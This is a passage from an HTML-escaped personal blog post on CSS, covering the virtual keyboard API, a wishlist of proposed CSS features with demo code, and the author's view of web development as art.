class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;meta&lt;/sx-t&gt; &lt;sx-r&gt;name&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;viewport&#34;&lt;/sx-v&gt; &lt;sx-r&gt;content&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&#34;width=device-width, interactive-widget=resizes-content&#34;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;The latter option is currently only supported in Chromium-based browsers, and requires a single line of JavaScript to use:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-e&gt;navigator&lt;/sx-e&gt;.&lt;sx-p&gt;virtualKeyboard&lt;/sx-p&gt;.&lt;sx-p&gt;overlaysContent&lt;/sx-p&gt; = &lt;sx-a&gt;true&lt;/sx-a&gt;;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;The advantage of the second option is that it allows you to use &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/env&#34;&gt;environment variables&lt;/a&gt; in CSS to get the position and size of the keyboard, which is pretty cool.&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;floating-button&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-p&gt;margin-bottom&lt;/sx-p&gt;: &lt;sx-k&gt;env&lt;/sx-k&gt;(&lt;sx-a&gt;keyboard-inset-height&lt;/sx-a&gt;, &lt;sx-n&gt;0px&lt;/sx-n&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;But considering the fact that it doesn&amp;rsquo;t work cross-browser, I&amp;rsquo;d avoid it.&lt;/p&gt;&#xA;&lt;h2 id=&#34;css-wishlist&#34;&gt;CSS wishlist&lt;/h2&gt;&#xA;&lt;p&gt;Alright, so this is a little different from the rest of the post, but I wanted to bring up some things that I wish were in CSS. I haven&amp;rsquo;t fully fleshed out all of them, so some definitely wouldn&amp;rsquo;t fit the spec as-is, but maybe they can inspire some other stuff at least.&lt;/p&gt;&#xA;&lt;p&gt;They are just fun ideas, don&amp;rsquo;t take them too seriously.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Update (Oct 2025): &lt;a href=&#34;https://front-end.social/@bramus/115111465257753352&#34;&gt;Bramus&lt;/a&gt; made an awesome toot going over my wishlist and letting us know which of the features will be there soon.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;reusable-blocks&#34;&gt;Reusable blocks&lt;/h3&gt;&#xA;&lt;p&gt;I wish it was possible to put classes in other classes in CSS, so that you could write something like:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;.&lt;sx-y&gt;border&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-p&gt;border&lt;/sx-p&gt;: &lt;sx-n&gt;2px&lt;/sx-n&gt; &lt;sx-a&gt;solid&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;border-radius&lt;/sx-p&gt;: &lt;sx-n&gt;4px&lt;/sx-n&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;button&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-z&gt;@apply&lt;/sx-z&gt; &lt;sx-y&gt;border&lt;/sx-y&gt;;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;.&lt;sx-y&gt;card&lt;/sx-y&gt; {&#xD;&#xA;  &lt;sx-z&gt;@apply&lt;/sx-z&gt; &lt;sx-y&gt;border&lt;/sx-y&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;This is something that &lt;a href=&#34;https://tailwindcss.com/docs/functions-and-directives#apply-directive&#34;&gt;Tailwind already has&lt;/a&gt;, and that makes me jealous.&lt;/p&gt;&#xA;&lt;!--&#xD;&#xA;### Scoped variables&#xD;&#xA;&#xD;&#xA;I wish we could scope variables, so that an inner element could set the value for an outer element.&#xD;&#xA;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;foo&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-k&gt;@property&lt;/sx-k&gt; &lt;sx-k&gt;--color&lt;/sx-k&gt; {&#xD;&#xA;    &lt;sx-p&gt;syntax&lt;/sx-p&gt;: &lt;sx-s&gt;&#39;&amp;lt;color&amp;gt;&#39;&lt;/sx-s&gt;;&#xD;&#xA;    &lt;sx-p&gt;initial-value&lt;/sx-p&gt;: &lt;sx-a&gt;red&lt;/sx-a&gt;;&#xD;&#xA;    &lt;sx-p&gt;scoped&lt;/sx-p&gt;: &lt;sx-a&gt;true&lt;/sx-a&gt;;&#xD;&#xA;  }&#xD;&#xA;  &lt;sx-t&gt;bar&lt;/sx-t&gt; {&#xD;&#xA;    &amp;amp;:&lt;sx-l&gt;hover&lt;/sx-l&gt; {&#xD;&#xA;      &lt;sx-e&gt;--color&lt;/sx-e&gt;: &lt;sx-a&gt;blue&lt;/sx-a&gt;;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  &lt;sx-c&gt;/* foo will be blue on bar hover */&lt;/sx-c&gt;&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--color&lt;/sx-e&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;This idea has a lot of problems in practice, from little things such as nested statements getting reordered, to bigger issues that&#39;d require rewriting and rethinking big parts of CSS. I don&#39;t see this ever being added, but it would be fun to have.&#xD;&#xA;--&gt;&#xD;&#xA;&lt;h3 id=&#34;combined-media-selectors&#34;&gt;Combined @media selectors&lt;/h3&gt;&#xA;&lt;p&gt;We can currently do nested &lt;em&gt;@media&lt;/em&gt; queries, and also multiple selectors at the same time:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;  &amp;amp;.&lt;sx-y&gt;foo&lt;/sx-y&gt;, &amp;amp;.&lt;sx-y&gt;bar&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-a&gt;red&lt;/sx-a&gt;;&#xD;&#xA;    &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;8px&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;2em&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;  &lt;sx-z&gt;@media&lt;/sx-z&gt; (&lt;sx-p&gt;width&lt;/sx-p&gt; &amp;lt; &lt;sx-n&gt;480px&lt;/sx-n&gt;) {&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-a&gt;red&lt;/sx-a&gt;;&#xD;&#xA;    &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;8px&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;2em&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;But we cannot combine the two into a single selector:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-z&gt;@media&lt;/sx-z&gt; (&lt;sx-p&gt;width&lt;/sx-p&gt; &amp;lt; &lt;sx-n&gt;480px&lt;/sx-n&gt;), &amp;amp;.&lt;sx-y&gt;foo&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-a&gt;red&lt;/sx-a&gt;;&#xD;&#xA;    &lt;sx-p&gt;padding&lt;/sx-p&gt;: &lt;sx-n&gt;8px&lt;/sx-n&gt;;&#xD;&#xA;    &lt;sx-p&gt;font-size&lt;/sx-p&gt;: &lt;sx-n&gt;2em&lt;/sx-n&gt;;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;Which means if you want to do that you&amp;rsquo;ll inevitably have to repeat code or do some silly variable hacks, neither of which is ideal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;n-th-child-variable&#34;&gt;n-th child variable&lt;/h3&gt;&#xA;&lt;p&gt;For many of the CSS crimes I like to commit, I often end up writing code like:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-t&gt;span&lt;/sx-t&gt;:&lt;sx-l&gt;nth-child&lt;/sx-l&gt;(&lt;sx-n&gt;1&lt;/sx-n&gt;) { &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-n&gt;1&lt;/sx-n&gt;; }&#xD;&#xA;  &lt;sx-t&gt;span&lt;/sx-t&gt;:&lt;sx-l&gt;nth-child&lt;/sx-l&gt;(&lt;sx-n&gt;2&lt;/sx-n&gt;) { &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-n&gt;2&lt;/sx-n&gt;; }&#xD;&#xA;  &lt;sx-t&gt;span&lt;/sx-t&gt;:&lt;sx-l&gt;nth-child&lt;/sx-l&gt;(&lt;sx-n&gt;3&lt;/sx-n&gt;) { &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-n&gt;3&lt;/sx-n&gt;; }&#xD;&#xA;  &lt;sx-t&gt;span&lt;/sx-t&gt;:&lt;sx-l&gt;nth-child&lt;/sx-l&gt;(&lt;sx-n&gt;4&lt;/sx-n&gt;) { &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-n&gt;4&lt;/sx-n&gt;; }&#xD;&#xA;  &lt;sx-t&gt;span&lt;/sx-t&gt;:&lt;sx-l&gt;nth-child&lt;/sx-l&gt;(&lt;sx-n&gt;5&lt;/sx-n&gt;) { &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-n&gt;5&lt;/sx-n&gt;; }&#xD;&#xA;  ...&#xD;&#xA;  &lt;sx-y&gt;span&lt;/sx-y&gt; {&#xD;&#xA;    &lt;sx-p&gt;top&lt;/sx-p&gt;: &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-e&gt;--nth&lt;/sx-e&gt; * &lt;sx-n&gt;24px&lt;/sx-n&gt;);&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;hsl&lt;/sx-k&gt;(&lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--nth&lt;/sx-e&gt;) * &lt;sx-n&gt;90deg&lt;/sx-n&gt;) &lt;sx-n&gt;100&lt;/sx-n&gt; &lt;sx-n&gt;90&lt;/sx-n&gt;);&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;And I think it would be a lot nicer if we could instead just do:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-t&gt;span&lt;/sx-t&gt; {&#xD;&#xA;    &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-k&gt;nth-child&lt;/sx-k&gt;();&#xD;&#xA;    &lt;sx-p&gt;top&lt;/sx-p&gt;: &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-e&gt;--nth&lt;/sx-e&gt; * &lt;sx-n&gt;24px&lt;/sx-n&gt;);&#xD;&#xA;    &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;hsl&lt;/sx-k&gt;(&lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--nth&lt;/sx-e&gt;) * &lt;sx-n&gt;90deg&lt;/sx-n&gt;) &lt;sx-n&gt;100&lt;/sx-n&gt; &lt;sx-n&gt;90&lt;/sx-n&gt;);&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;h3 id=&#34;n-th-letter-targeting&#34;&gt;n-th letter targeting&lt;/h3&gt;&#xA;&lt;p&gt;CSS has the ability to style the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/::first-letter&#34;&gt;::first-letter&lt;/a&gt; of text. It&amp;rsquo;d be cool if were was also a &lt;strong&gt;::nth-letter(&amp;hellip;)&lt;/strong&gt; selector, similar to &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/:nth-child&#34;&gt;:nth-child&lt;/a&gt;. I suspect the reason this isn&amp;rsquo;t a thing is because the &lt;em&gt;::first-letter&lt;/em&gt; selector is a pseudo-element, which would be a bit tricky to implement with the nth-letter idea.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: the letter i in hi there is made red&#34; role=&#34;figure&#34; id=&#34;nth-example&#34;&gt;&lt;code-frame role=code&gt;&lt;sx-c&gt;/* not a real feature */&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;p&lt;/sx-t&gt;::&lt;sx-l&gt;nth-letter&lt;/sx-l&gt;(2) {&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-a&gt;red&lt;/sx-a&gt;;&#xD;&#xA;}&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:64px&#34;&gt;&#xD;&#xA;&lt;p&gt;h&lt;span style=&#34;color:red&#34;&gt;i&lt;/span&gt; there~&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;#nth-example {&#xD;&#xA;  fake-frame {&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    align-items: center;&#xD;&#xA;    &amp; &gt; div {&#xD;&#xA;      display: flex;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;    }&#xD;&#xA;    input {&#xD;&#xA;      border: none;&#xD;&#xA;      border-radius: 2px;&#xD;&#xA;      outline: 1px solid #000;&#xD;&#xA;      &amp;:focus { outline-width: 2px; }&#xD;&#xA;      &amp;:user-valid { outline-color: green; }&#xD;&#xA;      &amp;:user-invalid { outline-color: red; }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.blackle-mori.com/&#34;&gt;Blackle&lt;/a&gt; suggested that combining the nth-child() variable with :nth-letter targeting would also be fun for certain effects, such as putting the value in the sin() function to create wavy text.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;code-compare aria-label=&#34;Demo: the text waves vertically, and has a trans-colored gradient going across it&#34; role=&#34;figure&#34; vertical id=&#34;wavey-example&#34;&gt;&lt;code-frame role=code&gt;&lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-c&gt;/* not a real feature */&lt;/sx-c&gt;&#xD;&#xA;  &lt;sx-e&gt;--nth&lt;/sx-e&gt;: &lt;sx-k&gt;nth-child&lt;/sx-k&gt;(&lt;sx-a&gt;nth-letter&lt;/sx-a&gt;);&#xD;&#xA;  &lt;sx-p&gt;will-change&lt;/sx-p&gt;: &lt;sx-a&gt;transform&lt;/sx-a&gt;;&#xD;&#xA;  &lt;sx-p&gt;translate&lt;/sx-p&gt;: &lt;sx-n&gt;0&lt;/sx-n&gt; &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-k&gt;sin&lt;/sx-k&gt;(&lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--nth&lt;/sx-e&gt;) * &lt;sx-n&gt;0.35&lt;/sx-n&gt; - &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--wave&lt;/sx-e&gt;) * &lt;sx-n&gt;3&lt;/sx-n&gt;) * &lt;sx-n&gt;5px&lt;/sx-n&gt;);&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;color-mix&lt;/sx-k&gt;(&lt;sx-a&gt;in&lt;/sx-a&gt; &lt;sx-a&gt;oklch&lt;/sx-a&gt;, &lt;sx-n&gt;#58C8F2&lt;/sx-n&gt;, &lt;sx-n&gt;#EDA4B2&lt;/sx-n&gt; &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-k&gt;sin&lt;/sx-k&gt;(&lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--nth&lt;/sx-e&gt;) * &lt;sx-n&gt;0.5&lt;/sx-n&gt; - &lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--wave&lt;/sx-e&gt;)) * &lt;sx-n&gt;50%&lt;/sx-n&gt; + &lt;sx-n&gt;50%&lt;/sx-n&gt;));&#xD;&#xA;}&lt;/code-frame&gt;&#xD;&#xA;&lt;fake-frame style=&#34;min-height:128px; position: relative&#34;&gt;&#xD;&#xA;  &lt;a href=&#34;https://blog.polly.computer/untuck_NOW_queen/&#34; aria-label=&#34;untuck now queen&#34; target=&#34;_blank&#34;&gt;&#xD;&#xA;    &lt;div&gt;u&lt;/div&gt;&lt;div&gt;n&lt;/div&gt;&lt;div&gt;t&lt;/div&gt;&lt;div&gt;u&lt;/div&gt;&lt;div&gt;c&lt;/div&gt;&lt;div&gt;k&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;n&lt;/div&gt;&lt;div&gt;o&lt;/div&gt;&lt;div&gt;w&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;q&lt;/div&gt;&lt;div&gt;u&lt;/div&gt;&lt;div&gt;e&lt;/div&gt;&lt;div&gt;e&lt;/div&gt;&lt;div&gt;n&lt;/div&gt;&#xD;&#xA;  &lt;/a&gt;&#xD;&#xA;  &lt;p&gt;(&lt;span&gt;tap&lt;/span&gt;&lt;span&gt;hover&lt;/span&gt; to play animation)&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/code-compare&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;@property --wavey {&#xD;&#xA;  syntax: &#39;&lt;number&gt;&#39;;&#xD;&#xA;  inherits: true;&#xD;&#xA;  initial-value: 0;&#xD;&#xA;}&#xD;&#xA;#wavey-example {&#xD;&#xA;  fake-frame {&#xD;&#xA;    &amp;:not(:hover) {&#xD;&#xA;      &amp; &gt; a {&#xD;&#xA;        animation-play-state: paused&#xD;&#xA;      }&#xD;&#xA;      &amp; &gt; p {&#xD;&#xA;        opacity: 0.5;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    align-items: center;&#xD;&#xA;    &amp; &gt; p {&#xD;&#xA;      position: absolute;&#xD;&#xA;      opacity:0;&#xD;&#xA;      transition: opacity 0.1s;&#xD;&#xA;      bottom: 0;&#xD;&#xA;      margin: 4px;&#xD;&#xA;      pointer-events: none;&#xD;&#xA;      /* note: we use (pointer: coarse) instead of&#xD;&#xA;         (hover: hover) because the latter is broken&#xD;&#xA;         on some android devices (mostly samsung) */&#xD;&#xA;      @media not (pointer: coarse) {&#xD;&#xA;        &amp; &gt; span:first-child {&#xD;&#xA;          display: none;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      @media (pointer: coarse) {&#xD;&#xA;        &amp; &gt; span:nth-child(2) {&#xD;&#xA;          display: none;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &amp; &gt; a, &amp; &gt; a:visited, &amp; &gt; a:hover, &amp; &gt; a:active {&#xD;&#xA;      --wavey: 0;&#xD;&#xA;      animation: 3.5s linear infinite wavey;&#xD;&#xA;      display: flex;&#xD;&#xA;      font-weight: 600;&#xD;&#xA;      font-size: 120%;&#xD;&#xA;      white-space: pre;&#xD;&#xA;      color: transparent;&#xD;&#xA;      &amp;&gt;:nth-child(1)  { --nth:1  }&#xD;&#xA;      &amp;&gt;:nth-child(2)  { --nth:2  }&#xD;&#xA;      &amp;&gt;:nth-child(3)  { --nth:3  }&#xD;&#xA;      &amp;&gt;:nth-child(4)  { --nth:4  }&#xD;&#xA;      &amp;&gt;:nth-child(5)  { --nth:5  }&#xD;&#xA;      &amp;&gt;:nth-child(6)  { --nth:6  }&#xD;&#xA;      &amp;&gt;:nth-child(7)  { --nth:7  }&#xD;&#xA;      &amp;&gt;:nth-child(8)  { --nth:8  }&#xD;&#xA;      &amp;&gt;:nth-child(9)  { --nth:9  }&#xD;&#xA;      &amp;&gt;:nth-child(10) { --nth:10 }&#xD;&#xA;      &amp;&gt;:nth-child(11) { --nth:11 }&#xD;&#xA;      &amp;&gt;:nth-child(12) { --nth:12 }&#xD;&#xA;      &amp;&gt;:nth-child(13) { --nth:13 }&#xD;&#xA;      &amp;&gt;:nth-child(14) { --nth:14 }&#xD;&#xA;      &amp;&gt;:nth-child(15) { --nth:15 }&#xD;&#xA;      &amp;&gt;:nth-child(16) { --nth:16 }&#xD;&#xA;      &amp;&gt;div {&#xD;&#xA;        will-change: transform;&#xD;&#xA;        translate: 0 calc(sin(var(--nth) * 0.35 - var(--wavey) * 3) * 5px);&#xD;&#xA;        /* This is commented out because: https://issues.chromium.org/issues/441442313 */&#xD;&#xA;/*        color: color-mix(in oklch, #58C8F2, #EDA4B2 calc(sin(var(--nth) * 0.5 - var(--wavey)) * 50% + 50%))!important;*/&#xD;&#xA;        --color: color-mix(in oklch, #58C8F2, #EDA4B2 calc(sin(var(--nth) * 0.5 - var(--wavey)) * 50% + 50%))!important;&#xD;&#xA;        color: transparent;&#xD;&#xA;        text-shadow: 0 0 0 var(--color);&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;@keyframes wavey {&#xD;&#xA;  from {&#xD;&#xA;    --wavey: 0;&#xD;&#xA;  }&#xD;&#xA;  to {&#xD;&#xA;    --wavey: calc(pi * 2);&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;h3 id=&#34;unit-removal&#34;&gt;Unit removal&lt;/h3&gt;&#xA;&lt;p&gt;I wish you could easily remove units from values, for example by dividing them.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  screen-size {&#xD;&#xA;    --vwi: tan(atan2(var(--vw), 1px));&#xD;&#xA;    &amp;::after {&#xD;&#xA;      counter-reset: vwi var(--vwi);&#xD;&#xA;      content: counter(vwi);&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;div&lt;/sx-t&gt; {&#xD;&#xA;  &lt;sx-c&gt;/* Turns into: &lt;screen-size&gt;&lt;/screen-size&gt; (no unit) */&lt;/sx-c&gt;&#xD;&#xA;  &lt;sx-e&gt;--screen-width&lt;/sx-e&gt;: &lt;sx-k&gt;calc&lt;/sx-k&gt;(&lt;sx-n&gt;100vw&lt;/sx-n&gt; / &lt;sx-n&gt;1px&lt;/sx-n&gt;);&#xD;&#xA;  &lt;sx-p&gt;color&lt;/sx-p&gt;: &lt;sx-k&gt;hsl&lt;/sx-k&gt;(&lt;sx-k&gt;var&lt;/sx-k&gt;(&lt;sx-e&gt;--screen-width&lt;/sx-e&gt;) &lt;sx-n&gt;100&lt;/sx-n&gt;, &lt;sx-n&gt;50&lt;/sx-n&gt;);&#xD;&#xA;}&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;This would allow you to use the size of the viewport or container as a numeric variable for things other than length. For example, the &lt;a href=&#34;#color-picker&#34;&gt;color picker&lt;/a&gt; from earlier uses it to convert the location of the color picker dot to a number to be used in a color value instead.&lt;/p&gt;&#xA;&lt;p&gt;Uh, but wait? Does that mean this feature already exists?&lt;/p&gt;&#xA;&lt;p&gt;Yeah, lol! We already have the ability to get unitless values in CSS, but it involves doing hacky stuff such as &lt;code&gt;tan(atan2(var(--vw), 1px))&lt;/code&gt; with a custom &lt;em&gt;@property&lt;/em&gt;. It&amp;rsquo;d be nice to have this as just a division, for example.&lt;/p&gt;&#xA;&lt;p&gt;Oh, and good news, this one we might actually be &lt;a href=&#34;https://www.w3.org/TR/css-values-4/#calc-type-checking&#34;&gt;getting soon&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Also if you do something like &lt;code&gt;calc(1px + sqrt(1px * 1px))&lt;/code&gt; your browser will crash&lt;sup id=&#34;fnref:12&#34;&gt;&lt;a href=&#34;#fn:12&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;12&lt;/a&gt;&lt;/sup&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;a-better-image-function&#34;&gt;A better image function&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/image/image&#34;&gt;&lt;strong&gt;image()&lt;/strong&gt; function&lt;/a&gt; exists, but no browsers implement it. It&amp;rsquo;s similar to just using &lt;em&gt;url()&lt;/em&gt;, but adds some really cool features such as a fallback color, and image fragments to crop a smaller section out of a bigger image (think spritesheets).&lt;/p&gt;&#xA;&lt;p&gt;We can already do both fallbacks and spritesheets with the various background properties, but it&amp;rsquo;d be nice to have this pretty syntax. I&amp;rsquo;d honestly love this syntax even more for &amp;lt;img&amp;gt; tags than CSS.&lt;/p&gt;&#xA;&lt;h3 id=&#34;style-tags-in-body&#34;&gt;style tags in body&lt;/h3&gt;&#xA;&lt;p&gt;I make heavy use of &amp;lt;style&amp;gt; tags in &amp;lt;body&amp;gt; for my projects. On my blog, for example, I write the relevant CSS close to their graphics so that you can &lt;a href=&#34;https://infosec.exchange/@rebane2001/114931064484832451&#34;&gt;start reading the blog&lt;/a&gt; before the entire page (or the entire CSS) has finished loading&lt;sup id=&#34;fnref:13&#34;&gt;&lt;a href=&#34;#fn:13&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;13&lt;/a&gt;&lt;/sup&gt;. And it works great!&lt;/p&gt;&#xA;&lt;p&gt;But what&amp;rsquo;s unfortunate is that despite browsers supporting this, and major sites using this, it&amp;rsquo;s &lt;a href=&#34;https://github.com/whatwg/html/issues/1605&#34;&gt;not officially spec-compliant&lt;/a&gt;. I suspect it&amp;rsquo;s in the spec to avoid the &lt;a href=&#34;https://en.wikipedia.org/wiki/Flash_of_unstyled_content&#34;&gt;FOUC&lt;/a&gt; footgun, but there are so many reasons you would want/need style in body that I don&amp;rsquo;t think it justifies it.&lt;/p&gt;&#xA;&lt;p&gt;I think an HTML validator should warn for this, but not error.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note (Oct 2025): It&amp;rsquo;s actually possible to use &lt;strong&gt;@scope {&amp;hellip;}&lt;/strong&gt; to limit the scope of a style tag to its current parent.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-art&#34;&gt;The art&lt;/h2&gt;&#xA;&lt;p&gt;I want to end this article by saying that to me, web development is an art, and thus, CSS is too. I often have a hard time relating to people who do webdev solely to earn money or build a startup - web development is very different when you&amp;rsquo;re on a team and are given tasks from above instead of having free will over what you create for fun.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s probably most apparent with things like AI&lt;sup id=&#34;fnref:14&#34;&gt;&lt;a href=&#34;#fn:14&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;14&lt;/a&gt;&lt;/sup&gt;, that for me take all the fun and creativity out of my work. But it also applies to build chain tooling such as linters and minifiers - the way I write my code is part of the art, and I don&amp;rsquo;t want a tool to erase that. I don&amp;rsquo;t even use an IDE&lt;sup id=&#34;fnref:15&#34;&gt;&lt;a href=&#34;#fn:15&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;15&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Among the practical reasons for sticking to CSS listed throughout this post, there&amp;rsquo;s a secret extra reason I like to do everything in CSS, and that&amp;rsquo;s expression and art. Art isn&amp;rsquo;t always practical, and using CSS isn&amp;rsquo;t either. But it&amp;rsquo;s how I like to express myself, and it&amp;rsquo;s why I do what I do.&lt;/p&gt;&#xA;&lt;p&gt;I tried to keep this post approachable and practical for all web developers. But there is so much more to CSS that I&amp;rsquo;d like to talk about, so expect another post about the stuff that isn&amp;rsquo;t practical, and is instead just cool as fuck. I think &lt;em&gt;CSS is a programming language&lt;/em&gt;, and &lt;a href=&#34;https://lyra.horse/css-clicker/&#34;&gt;I made a game to prove it&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But that&amp;rsquo;s a topic for another 